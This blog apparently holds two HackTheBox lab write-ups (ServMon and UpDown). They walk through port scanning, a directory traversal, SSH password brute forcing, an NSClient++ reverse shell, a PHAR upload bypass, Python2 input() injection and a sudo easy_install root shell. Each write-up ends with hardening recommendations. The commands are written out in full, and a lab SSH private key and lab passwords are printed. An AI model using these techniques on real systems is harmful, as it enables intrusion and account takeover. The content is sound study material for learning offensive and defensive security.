
BloodHound is a great way to figure out how to get an Administrator shell. GenericAll lets you do almost anything to the target object. WriteDacl can lead to DCSync. I’ll learn about other rights for future challenges.

HTB - ServMon Writeup - no Metasploit

nekohige — Sat, 17 Oct 2026 13:48:15 +0000

Summary

Anonymous login was allowed on the FTP server, exposing a text file that provided a useful hint for further exploitation.
The target was running vulnerable versions of NVMS-1000 and NSClient++.

Recommendation

Disable anonymous login on the FTP server so it cannot be used.
Use the latest versions of NVMS-1000 and NSClient++ with no known vulnerabilities, or consider switching to an alternative system.

Enumeration

Let’s enumerate the open ports on the machine using nmap. I usually use nmap in 2 steps. First, I take a quick full-port sweep using following options.

-sS for a stealthy SYN scan, which is fast because it doesn’t complete the full 3-way handshake
-Pn to skip host discovery and assume the host is up, so that all ports actually get checked
-p- to scan all 65535 TCP ports
--open to only show ports that are open
-n to skip DNS resolution since in CTFs like HTB, private IPs usually don’t resolve to anything anyway
--min-rate 5000 to speed up the scan by sending at least 5000 packets per second
-oA scan_all to save the output in all three formats (.nmap, .xml, .gnmap) under the prefix scan_all

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.227.77

Second, it’s time to dig deeper into the open ports using the following commands and options.

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)

grep -oP '\d+/open' to pull out every <port>/open match from scan_all.gnmap
cut -d/ -f1 to strip off the /open part, leaving just the port number
paste -sd, to join all those numbers from separate lines into one comma-separated string
the result is stored in the ports variable

sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.227.77

-sS for a stealthy SYN scan, which is fast because it doesn’t complete the full 3-way handshake
-Pn to skip host discovery and assume the host is up, so that all ports actually get checked
-p "$ports" to limit the scan to only those open ports
-A to enable version detection (-sV), default NSE scripts (-sC), OS detection (-O), and traceroute all at once
-oN scan_deep.txt for saving the output to scan_deep.txt

Ports 135 (RPC), 139 (NetBIOS/SMB), and 445 (SMB) are open, while 53 (DNS), 389 (LDAP), and 88 (Kerberos) are closed. This suggests a standalone Windows machine that isn’t part of an Active Directory domain.
Port 21 (FTP) is open, and anonymous login is allowed.
Port 80 (HTTP) is open, indicating a web server is running. It's worth investigating further to see what application it’s hosting.

Some udp ports are open. We may come back.

Let's check Port 21(FTP) with anonymous login.

ftp 10.129.227.77
# anonymous

Checking the inside, we can find that there are two users: Nadine and Nathan.

In Nadine folder, there is a file called Confidential.txt so download it.

In Nathan folder, there is a file called Note to do.txt so download it, too.

Confidential.txt says there is a Passwords.txt on the Desktop. But, we cannot find any credentials now.

Notes to do.txt mention about NVMS, NSClient and SharePoint.
Also, it infers that a public access to NVMS is still allowed. I'm not sure what is NVMS yet.

Searching the web, NVMS is Network Video Management System which records, manages and monitors network camera.
And, it has a Directory Traversal if it's NVMS-1000: https://www.exploit-db.com/exploits/47774.

When we open the Port 80 in the browser, it indicates NVMS-1000. So, we can try the Directory Traversal we found.
http://10.129.227.77/

Exploitation

It works!

Since Confidential.txt mentions that there’s a Passwords.txt file on the Desktop, let’s grab it.

These credentials can be used for a password brute-force attack.

echo '1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$' > pass.txt

We know two usernames from the FTP enumeration.

echo 'Nadine
Nathan' > users.txt

Let's start a password brute-force attack.

hydra -L users.txt -P pass.txt ssh://10.129.227.77 -t 4

We get a credential: Nadine:L1k3B1gBut7s@W0rk.

Let's login.

ssh Nadine@10.129.227.77

We get user.txt!

type C:\Users\Nadine\Desktop\user.txt

Privilege Escalation

Checking the Program Files, there is a third party software: NSClient++ which is mentioned in the Notes to do.txt.

ls 'C:\Program Files','C:\Program Files (x86)',"$env:USERPROFILE\Downloads"

According to HackTricks, there may be web credentials in nsclient.ini.
https://hacktricks.wiki/windows-hardening/windows-local-privilege-escalation/index.html

Let's see it.

 type 'C:\Program Files\NSClient++\nsclient.ini'

We get password! ew2x6SsGTxjRwXOT.

After some googling, I found the official site for NSClient++. It explains how to use the commands.
https://nsclient.org/docs/quick-start/

I tried as follows to get its version.

After searching the internet, I found its vulnerability.
https://github.com/advisories/GHSA-jr25-22p3-gm6r

First, I opened the Port 8443 for nsclinent++. But, I couldn't login.

According to nsclient.ini, only 127.0.0.1 is allowed to connect.

 type 'C:\Program Files\NSClient++\nsclient.ini'

I attempted pivoting.

ssh -N -L 0.0.0.0:9090:127.0.0.1:8443 Nadine@10.129.227.77

-N for SSH connection to the target without running a remote shell
-L 0.0.0.0:9090:127.0.0.1:8443 to set up local port forwarding so that any connection to port 9090 on my machine gets tunneled through SSH and forwarded to 127.0.0.1:8443

Get through!

Then, I did the priviledge escalation as wirtten in exploit-db.
https://www.exploit-db.com/exploits/46802

'1. Grab web administrator password - already acquired: ew2x6SsGTxjRwXOT

'2. Login and enable following modules including enable at startup and save configuration
- CheckExternalScripts
- Scheduler

'3. Download nc.exe and evil.bat to c:\temp from attacking machine - I made it as follows.

mkdir temp

'4. Setup listener on attacking machine

'5. Add script foobar to call evil.bat and save settings

'6. Add schedulede to call script every 1 minute and save settings

'7. Restart the computer and wait for the reverse shell on attacking machine - Clicking the Control button in the upper-right corner lets us restart NSClient, and we just wait a little...

We got it!

type C:\Users\Administrator\Desktop\root.txt

Lessons Learned

I learned that a key-value configuration format can be abused for command execution.

HTB - UpDown Writeup - no Metasploit

nekohige — Mon, 12 Oct 2026 13:26:33 +0000

Summary

A .git repository was exposed on the public-facing website. By examining it, the web application’s architecture could be understood, including the way to open sub-path: dev. The file upload functionality did not restrict the .phar extension, and proc_open was not included in disable_functions, allowing a shell to be obtained via PHAR deserialization. From there, an SUID ELF binary (siteisup) owned by a higher-privileged user was found to be executable. This binary was vulnerable to Python2’s input() behavior (which evaluates input as a Python expression), allowing code execution as that user. For privilege escalation to root, easy_install could be executed via passwordless sudo, which is a well-known method of obtaining a root shell.

Recommendations

Assuming this were a real-world environment, I would recommend the following:

The .git repository should never have been exposed on the public website.
No unnecessary or hidden sub-paths/directories should have been accessible.
The .phar extension should have been included in the upload restriction list.
proc_open should have been added to disable_functions.
Python2 should no longer be used, as it has reached end-of-life and contains unsafe behaviors such as this input() issue.
easy_install should not be executable via passwordless sudo — if sudo access is required at all, it should be limited and password-protected.

Reconnaissance

First of all, let's recon the machine using nmap.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.52.117

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.52.117

22(SSH) and 80(HTTP) are open. So, this machine is running Linux.

sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.52.117

No interesting UDP.

Let' open the 80 in the browser.
http://10.129.52.117/

A domain name is on the page: siteisup.htb.

Add the mapping between the IP address and the hostname to /etc/hosts.

echo "10.129.52.117 siteisup.htb" | sudo tee -a /etc/hosts

Let's open the page again using the domain.
http://siteisup.htb/

The site seems to check whether the website we enter is running or not.

Enumeration

Let's enumerate pages that this site has.

feroxbuster -u http://siteisup.htb -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,bak

There is a git repository.

Let's take it all.

git-dumper http://siteisup.htb/dev/.git/ ./loot

Let's see the logs.

git -c safe.directory='*' log --oneline --all

It seems no password or credentials.

Back to the website. Let’s start sub-domain enumeration.

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://siteisup.htb/ -H 'Host: FUZZ.siteisup.htb' -fs 1131

We found the subdomain dev.

Add dev to /etc/hosts.

echo "10.129.52.117 siteisup.htb dev.siteisup.htb" | sudo tee -a /etc/hosts

Exploitation

Let's open the page: dev.siteisup.htb.

Forbidden...

Going back to the git logs, there is an .htaccess file that will give us a clue as to why it’s forbidden.

git -c safe.directory='*' show bc4ba79

Adding the header Special-Dev: only4dev will bypass the restriction.

Let's add the header value using Burp Suite.

Let's open the page again.
http://dev.siteisup.htb

The site is up! It has a file upload function.

According to the file (checker.php) we obtained earlier via git-dumper, this function blocks certain extensions so that PHP files cannot be uploaded.
Also, it states that a correct file will be uploaded to the uploads directory.

Next, according to index.php, it includes a PHP file specified via the GET parameter page.

The forbidden extensions don’t include .phar, which stands for PHP archive — a format that can be used to bypass the upload filter.

Let's make a php file that shows phpinfo().

echo '<?php phpinfo(); ?>
http://10.10.17.153:8000' > php-info.php

I added http://10.10.17.153:8000 because an article said the file won’t be deleted as long as Kali is listening on the port indicated. However, it’s not working.

Make .phar file.

zip payload.phar php-info.php

Upload the file.

Then, a new file appears in the uploads directory.

Let's open the file via the GET parameter: page.
http://dev.siteisup.htb/?page=phar://uploads/04f00185c2921425e8e3da99b1a8334e/payload.phar/php-info

It opens!

This PHP configuration disables common RCE functions such as system, exec, and shell_exec.

After checking some writeups, I understand that there is still a command that can be used for RCE.
https://gist.github.com/mccabe615/b0907514d34b2de088c4996933ea1720

proc_open is not included in the disable_function.

The following site shows us a way to get a reverse shell using proc_open.
https://gist.github.com/simran-sankhala/d94bc4e42fee5158395d189ec39ecac4

Same as before:

Make a file as shown
Generate a .phar file from the PHP file
Upload the file
Open it via the GET parameter: page

The shell obtained!

However, we cannot reach the user.txt.

Let’s stabilize the shell.

python3 -c 'import pty;pty.spawn("/bin/bash")'

Search the entire system for executable files with the SUID bit set.

find / -perm -u=s -type f 2>/dev/null

/home/developer/dev/siteisup seems interesting.

file /home/developer/dev/siteisup

It's an ELF binary file.

Let’s execute it and see how it behaves.

It uses /home/developer/dev/siteisup_test.py.

The print function doesn’t use parentheses, which suggests this is a Python2 script.
Also, unlike Python3, Python2’s input() evaluates the entered string as a Python expression before returning it.

So, let’s input __import__('os').system('id') to see if there is a vulnerability.

There is!

Let's make a shell via __import__('os').system('/bin/bash').

We get shell of developer!

However, we still cannot get user.txt...

Checking the id, we notice the gid is still www-data.

Searching for other clues, there is id_rsa of developer.

Let's use it to login through ssh.

 echo '-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----' > id_rsa

chmod 600 id_rsa

ssh developer@siteisup.htb -i id_rsa

cat /home/developer/user.txt

We get it!

Privilege Escalation

First, let's see sudo -l.

/usr/local/bin/easy_install seems interesting.

Let's check what is it.

According to GTFOBins, the following method gives us a root shell directly in the current terminal.
https://gtfobins.org/gtfobins/easy_install/

mkdir /tmp/evil
cd /tmp/evil
echo 'import os; os.system("exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty")' >setup.py
sudo  /usr/local/bin/easy_install .

We get it!

Lessons Learned

Two approaches to subdomain enumeration

1. Sub-domain Fuzzing — looks for names that actually exist in DNS (a DNS-level lookup)

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://FUZZ.{{DOMAIN}}/

2. VHost Fuzzing — when the name isn’t registered in DNS, send different candidate names directly in the Host header and look for the one that returns a different response. This is the approach to use on environments like HTB.

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://{{DOMAIN}}/ -H 'Host: FUZZ.{{DOMAIN}}' -fs xxx

Wordlist containing `.git`

I should have used feroxbuster with a wordlist that includes .git. I initially used DirBuster-2007_directory-list-2.3-medium.txt, but since it didn’t contain .git, I switched to /usr/share/wordlists/dirb/common.txt.

PHAR (PHP Archive

PHAR is a format that bundles multiple PHP files (classes, code, resources, etc.) into a single archive file. When a file is accessed through the phar:// wrapper, PHP automatically deserializes the metadata embedded in that file. This wrapper is used to access the contents of a compressed archive once the file has been uploaded.

?page=phar://uploads/{md5_value}/payload.phar/hello

ELF Binaries

ELF (Executable and Linkable Format) is the standard executable file format used on Linux/Unix systems — equivalent to .exe (PE format) on Windows. ELF binaries are relevant in several ways: they’re common reverse engineering targets (analyzed with tools like. strings), SUID-enabled ELF binaries are a frequent privilege escalation target.

Python-related vulnerabilities

Python2’s input(): Unlike Python3, Python2’s input() evaluates the entered string as a Python expression (equivalent to eval(raw_input())), allowing arbitrary code execution if user input is passed directly to it.
eval() injection: When user input is passed into eval(), arbitrary Python code can be injected — often using __import__('os').system(...) to bypass restrictions on direct import statements.
Reference: https://hacktricks.wiki/generic-methodologies-and-resources/python/bypass-python-sandboxes/